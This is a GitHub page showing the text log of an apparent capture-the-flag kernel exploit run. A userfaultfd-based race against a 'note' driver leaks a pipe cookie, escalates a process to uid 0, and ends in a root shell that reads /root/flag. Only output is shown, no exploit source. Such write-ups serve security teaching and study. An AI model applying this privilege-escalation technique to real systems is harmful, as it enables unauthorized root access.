-
Notifications
You must be signed in to change notification settings - Fork 71
Expand file tree
/
Copy pathwriteup01.txt
More file actions
148 lines (148 loc) · 3.33 KB
/
Copy pathwriteup01.txt
File metadata and controls
148 lines (148 loc) · 3.33 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
udhcpc: started, v1.35.0
udhcpc: broadcasting discover
udhcpc: broadcasting discover
udhcpc: broadcasting select for 10.0.2.15, server 10.0.2.2
udhcpc: lease of 10.0.2.15 obtained from 10.0.2.2, lease time 86400
deleting routers
route: SIOCDELRT: No such process
adding dns 10.0.2.3
~ $ /writeup01
[+] rlimit 7 increased to 4096
userfaultfd initialized
[+] got userfault block 0 (addr 00007fc219a2c000)
[+] got userfault block 1 (addr 00007fc219a2d000)
unblocking 0x7fc219a2c000 (copying 0x1000 bytes from 0x7fc219a2a000)[+] note_edit() succeeded
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
5a516883e88fea61
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
pipe 0, offset +0x0d80: cookie 5a516883e88fea61
unblocking 0x7fc219a2d000 (copying 0x1000 bytes from 0x7fc219a2a000)done
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 0
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
uid: 1000
/home/note # id
uid=0(root) gid=0 groups=1000
/home/note # ls -l /
total 2744
drwxr-xr-x 2 root 0 1900 Jan 16 08:06 bin
drwxr-xr-x 4 root 0 1920 May 16 00:11 dev
drwxr-xr-x 3 root 0 140 Jan 16 08:06 etc
drwxr-xr-x 3 root 0 60 Jan 16 08:06 home
-rwxr-xr-x 1 root 0 450 Nov 7 2022 init
drwxr-xr-x 3 root 0 60 Jan 16 08:06 lib
lrwxrwxrwx 1 root 0 11 Nov 7 2022 linuxrc -> bin/busybox
dr-xr-xr-x 187 root 0 0 May 16 00:11 proc
drwx------ 2 root 0 60 Jan 16 08:06 root
drwxr-xr-x 2 root 0 1480 Jan 16 08:06 sbin
dr-xr-xr-x 13 root 0 0 May 16 00:11 sys
-rwxrwxr-x 1 root 1000 924120 May 16 00:11 test01
drwxrwxrwt 2 root 0 40 May 16 00:11 tmp
drwxr-xr-x 4 root 0 80 Jan 16 08:06 usr
-rwxrwxr-x 1 root 1000 944144 May 16 00:10 writeup01
-rwxrwxr-x 1 root 1000 933176 Jan 18 00:57 writeup02
/home/note # ls -l /root
total 4
-r-------- 1 root 0 12 Nov 7 2022 flag
/home/note # cat /root/flag
flag{xxxxx}
/home/note #